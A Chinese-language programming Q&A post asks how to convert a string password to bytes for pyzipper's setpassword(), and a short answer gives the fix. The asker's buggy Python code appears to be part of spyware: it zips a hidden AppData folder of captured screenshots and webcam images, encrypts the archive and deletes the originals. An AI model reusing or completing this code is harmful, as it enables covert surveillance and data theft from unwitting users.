Python中setpassword()函数如何将字符串转换为二进制

fzsnzjdm  于 2023-04-10  发布在  Python
关注(0)|答案(1)|浏览(128)

这段代码写入一个字符串类型的密码随机数字和符号.然后创建一个zip文件,并在那里写入另一个zip文件,然后它需要设置密码的zip文件,但它想要一个bin类型,而不是一个字符串来设置密码.所以我尝试了很多事情,但每次得到的错误.你能帮助我,请与这个问题?
我的代码

import shutil
import os
import random
import pyzipper
def makemeZip(password):
    try:
        user = os.environ['USERPROFILE'].replace("C\\Users\\")
    except:
        dox = "qwertyuiopasdfghjklzxcvbnm1234567890"
        for i in range (30):
            password += dox[random.randint(0,len(dox)-1)]
        path = os.environ['USERPROFILE'] + os.sep + r'AppData\Local'
        shutil.make_archive(fr'{path}\cashe', 'zip', fr'{path}\windll')
        shutil.move(fr'{path}\cashe.zip',"cashe.zip")
        with pyzipper.AESZipFile('The murk results.zip','w',compression=pyzipper.ZIP_STORED,encryption=pyzipper.WZ_AES) as logs:
            print(password)
            logs.setpassword(password)# transform password to binary
            logs.write("cashe.zip")
        os.remove("cashe.zip")
    shutil.rmtree(rf'{path}\windll', ignore_errors=True)
    try:
        os.remove(rf'{path}\windll\sreenshot.jpg')
        os.remove(rf'{path}\windll\webcam.png')
    except:
        pass
    return password
kognpnkq

kognpnkq1#

只有此功能工作不正常且没有错误

pwd = bytes(password, "UTF-8")

相关问题